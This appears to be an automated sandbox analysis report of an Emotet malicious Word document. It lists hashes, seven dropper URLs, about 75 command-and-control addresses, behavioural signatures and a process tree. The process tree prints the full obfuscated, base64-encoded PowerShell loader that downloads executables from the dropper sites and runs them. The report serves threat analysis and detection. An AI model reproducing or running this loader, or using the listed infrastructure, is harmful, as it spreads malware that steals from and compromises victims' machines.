Analysis
- max time kernel
141s - max time network
151s - platform
windows10_x64 - resource
win10v200722 - submitted
20/08/2020, 11:44
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_5156e2526958c387a88519d9be71196ec810c2e00341e7df0cd8cb8a05913a79_2020-08-20__114316._doc.doc
Resource
win7
General
- Target emotet_e3_5156e2526958c387a88519d9be71196ec810c2e00341e7df0cd8cb8a05913a79_2020-08-20__114316._doc.doc
- Size 189KB
- Sample200820-2jtxay3pv6
- SHA256 5156e2526958c387a88519d9be71196ec810c2e00341e7df0cd8cb8a05913a79
- MD5 f2b7f097af0477c49aa59aaf71b35c58
- SHA1 666a5331abbf85323da329365bd72a8de718f97a
- SHA512 cdb051cc48153e047c3cc4fd9a6e1709a23f4a3f657d162fbc879c31e7d9e45e74b028efa3b6514743671fe5e873a409c4682065be79637ccbd004a4e4bcf1ea
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://gutjahr24.de/2015-11-09/arnf/
-
exe.dropper
http://zakahlife.com/wp-includes/w2jz15807/
-
exe.dropper
http://milde-seite.de/bigil/VNgmf9392/
-
exe.dropper
https://grasplms.com/wp-content/n5824604/
-
exe.dropper
http://britanniacricketleague.com/wp-admin/XgE3ss97089/
-
exe.dropper
http://benhlyphukhoa.info/wp-includes/4Ja2v10q187005/
-
exe.dropper
https://blog.angadiworldtech.com/css/I4pgkr7582964/
Extracted
-
emotet
-
173.94.215.84:80
-
85.25.207.108:8080
-
178.128.14.92:8080
-
60.125.114.64:443
-
181.126.54.234:80
-
157.7.164.178:8081
-
95.216.205.155:8080
-
216.75.37.196:8080
-
179.62.238.49:80
-
71.57.180.213:80
-
172.96.190.154:8080
-
112.78.142.170:80
-
178.238.232.46:443
-
177.144.130.105:443
-
105.209.235.113:8080
-
46.105.131.68:8080
-
185.86.148.68:443
-
143.95.101.72:8080
-
75.127.14.170:8080
-
168.0.97.6:80
-
181.114.114.203:80
-
185.208.226.142:8080
-
201.235.10.215:80
-
177.32.8.85:80
-
37.46.129.215:8080
-
74.208.173.91:8080
-
190.212.140.6:80
-
202.5.47.71:80
-
41.185.29.128:8080
-
81.214.253.80:443
-
107.161.30.122:8080
-
46.32.229.152:8080
-
5.79.70.250:8080
-
115.79.195.246:80
-
113.161.148.81:80
-
179.5.118.12:80
-
178.33.167.120:8080
-
91.83.93.103:443
-
51.38.201.19:7080
-
185.142.236.163:443
-
118.70.15.19:8080
-
181.134.9.162:80
-
105.213.67.88:80
-
217.199.160.224:8080
-
192.210.217.94:8080
-
197.249.6.179:443
-
86.57.216.23:80
-
86.98.143.163:80
-
181.113.229.139:443
-
201.213.177.139:80
-
195.201.56.70:8080
-
172.105.78.244:8080
-
190.190.15.20:80
-
190.53.144.120:80
-
139.59.12.63:8080
-
87.106.231.60:8080
-
66.61.94.36:80
-
198.57.203.63:8080
-
177.37.81.212:443
-
192.241.220.183:8080
-
115.78.11.155:80
-
188.0.135.237:80
-
78.189.60.109:443
-
31.146.61.34:80
-
175.29.183.2:80
-
203.153.216.178:7080
-
181.137.229.1:80
-
188.251.213.180:443
-
177.94.227.143:80
-
192.163.221.191:8080
-
50.116.78.109:8080
-
197.221.158.162:80
-
139.99.157.213:8080
-
77.74.78.80:443
-
81.17.93.134:80
-
190.164.75.175:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1236 664 powersheLL.exe 66 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2204-14-0x0000000002250000-0x000000000225C000-memory.dmp emotet behavioral2/memory/2204-14-0x0000000002250000-0x000000000225C000-memory.dmp emotet behavioral2/memory/2428-17-0x0000000002090000-0x000000000209C000-memory.dmp emotet behavioral2/memory/2428-17-0x0000000002090000-0x000000000209C000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 18 1236 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 2204 Ijbtr_.exe 2428 cryptuiwizard.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\hnetcfg\cryptuiwizard.exe Ijbtr_.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3888 WINWORD.EXE 3888 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 1236 powersheLL.exe 1236 powersheLL.exe 1236 powersheLL.exe 2428 cryptuiwizard.exe 2428 cryptuiwizard.exe 2428 cryptuiwizard.exe 2428 cryptuiwizard.exe 2428 cryptuiwizard.exe 2428 cryptuiwizard.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1236 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3888 WINWORD.EXE 3888 WINWORD.EXE 3888 WINWORD.EXE 3888 WINWORD.EXE 3888 WINWORD.EXE 3888 WINWORD.EXE 3888 WINWORD.EXE 3888 WINWORD.EXE 3888 WINWORD.EXE 2204 Ijbtr_.exe 2204 Ijbtr_.exe 2428 cryptuiwizard.exe 2428 cryptuiwizard.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1236 wrote to memory of 2204 1236 powersheLL.exe 75 PID 1236 wrote to memory of 2204 1236 powersheLL.exe 75 PID 1236 wrote to memory of 2204 1236 powersheLL.exe 75 PID 2204 wrote to memory of 2428 2204 Ijbtr_.exe 76 PID 2204 wrote to memory of 2428 2204 Ijbtr_.exe 76 PID 2204 wrote to memory of 2428 2204 Ijbtr_.exe 76
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_5156e2526958c387a88519d9be71196ec810c2e00341e7df0cd8cb8a05913a79_2020-08-20__114316._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3888
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABXAG4AeQB3AHIAeQBhAD0AKAAnAEIAbwAnACsAJwBsADEANQBnACcAKwAnAGUAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAHYAOgBUAEUAbQBwAFwATwBmAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBjAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAUgBpAGAAVABZAHAAUgBPAHQAYABvAGMAYABPAGwAIgAgAD0AIAAoACcAdAAnACsAJwBsACcAKwAnAHMAMQAnACsAJwAyACwAJwArACcAIAB0AGwAcwAxADEALAAgAHQAbAAnACsAJwBzACcAKQA7ACQARQA4AG0AMQAwAF8ANQAgAD0AIAAoACcASQBqACcAKwAnAGIAdAByAF8AJwApADsAJABHAHoAagBpAHgAbwB0AD0AKAAnAEMAOABmADQAJwArACcAMgAnACsAJwB0AHgAJwApADsAJABZADcAbQBnADEAZQA3AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBMACcAKwAnAG8AVQBPACcAKwAnAGYAZgBpAGMAJwArACcAZQAyADAAMQA5AEwAbwBVACcAKQAuACIAUgBlAHAATABgAEEAYwBFACIAKAAnAEwAbwBVACcALABbAHMAVABSAEkATgBHAF0AWwBjAGgAYQByAF0AOQAyACkAKQArACQARQA4AG0AMQAwAF8ANQArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQASAA3AG4AZQBsADQAZwA9ACgAJwBaADQAbAAnACsAJwBuAHoAOQBsACcAKQA7ACQARgB2AHcAXwBwADUAZwA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAEUAQgBDAEwASQBFAE4AVAA7ACQASgB1ADgAbwB1ADEAagA9ACgAJwBoAHQAJwArACcAdABwADoALwAnACsAJwAvAGcAJwArACcAdQAnACsAJwB0AGoAYQBoACcAKwAnAHIAMgA0AC4AZABlAC8AMgAwACcAKwAnADEANQAtADEAMQAtADAAOQAvACcAKwAnAGEAJwArACcAcgAnACsAJwBuACcAKwAnAGYAJwArACcALwAqACcAKwAnAGgAdAB0AHAAOgAnACsAJwAvAC8AegBhAGsAYQAnACsAJwBoACcAKwAnAGwAJwArACcAaQBmAGUALgBjAG8AbQAvACcAKwAnAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvACcAKwAnAHcAJwArACcAMgBqACcAKwAnAHoAMQA1ACcAKwAnADgAMAA3AC8AJwArACcAKgBoAHQAJwArACcAdABwADoAJwArACcALwAvAG0AJwArACcAaQBsACcAKwAnAGQAZQAtACcAKwAnAHMAJwArACcAZQBpACcAKwAnAHQAJwArACcAZQAnACsAJwAuAGQAZQAvACcAKwAnAGIAaQAnACsAJwBnAGkAbAAvAFYATgBnAG0AZgAnACsAJwA5ACcAKwAnADMAOQAnACsAJwAyAC8AJwArACcAKgBoAHQAdAAnACsAJwBwAHMAJwArACcAOgAvAC8AZwByAGEAJwArACcAcwBwACcAKwAnAGwAbQAnACsAJwBzAC4AYwBvAG0AJwArACcALwB3AHAAJwArACcALQBjAG8AbgB0AGUAbgB0AC8AbgA1ADgAMgA0ADYAMAAnACsAJwA0AC8AKgBoAHQAdABwADoALwAvAGIAJwArACcAcgBpAHQAYQBuAG4AJwArACcAaQBhAGMAJwArACcAcgAnACsAJwBpACcAKwAnAGMAawBlAHQAbABlAGEAZwB1AGUALgBjAG8AbQAvAHcAcAAtAGEAJwArACcAZABtAGkAbgAvAFgAZwBFACcAKwAnADMAcwAnACsAJwBzACcAKwAnADkAJwArACcANwAnACsAJwAwADgAOQAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwBiACcAKwAnAGUAbgBoAGwAJwArACcAeQBwACcAKwAnAGgAdQBrAGgAJwArACcAbwAnACsAJwBhAC4AaQBuAGYAbwAvAHcAcAAtAGkAJwArACcAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwAnACsAJwAvACcAKwAnADQASgBhADIAdgAnACsAJwAxADAAJwArACcAcQAxADgANwAnACsAJwAwADAANQAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAvACcAKwAnAGIAbABvAGcALgBhAG4AZwAnACsAJwBhAGQAaQB3AG8AcgAnACsAJwBsAGQAdABlAGMAaAAuACcAKwAnAGMAJwArACcAbwBtAC8AYwBzAHMALwAnACsAJwBJADQAJwArACcAcABnAGsAcgAnACsAJwA3ADUAOAAyADkAJwArACcANgA0AC8AJwApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFcAYQBwADkAaQBwAG8APQAoACcATgB1AGkANQAnACsAJwB5ACcAKwAnAG8AbwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABDADIAbQB5AGQAZwBpACAAaQBuACAAJABKAHUAOABvAHUAMQBqACkAewB0AHIAeQB7ACQARgB2AHcAXwBwADUAZwAuACIARABvAHcAbgBMAE8AYABBAGAAZABGAEkAbABlACIAKAAkAEMAMgBtAHkAZABnAGkALAAgACQAWQA3AG0AZwAxAGUANwApADsAJABSAG8AMwB5AGUANwBhAD0AKAAnAE4AJwArACcAcQBqADUAYwBnAGYAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFkANwBtAGcAMQBlADcAKQAuACIATABFAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADIAOAA5ADYAKQAgAHsAJgAoACcASQBuAHYAbwAnACsAJwBrAGUALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAoACQAWQA3AG0AZwAxAGUANwApADsAJABMADAAMQBkADEAeQA2AD0AKAAnAFQAJwArACcAdwAzACcAKwAnAHYAbQBmAHYAJwApADsAYgByAGUAYQBrADsAJABWAHoAbABnAHkAdQBfAD0AKAAnAFoAcAAzAGcAdQAnACsAJwB0AG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAGkAaABwAHkAbwAwAD0AKAAnAFgAJwArACcAZwBuAGoAagA2ACcAKwAnAGcAJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1236 -
C:\Users\Admin\AppData\Local\Temp\Office2019\Ijbtr_.exe"C:\Users\Admin\AppData\Local\Temp\Office2019\Ijbtr_.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2204 -
C:\Windows\SysWOW64\hnetcfg\cryptuiwizard.exe"C:\Windows\SysWOW64\hnetcfg\cryptuiwizard.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2428
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-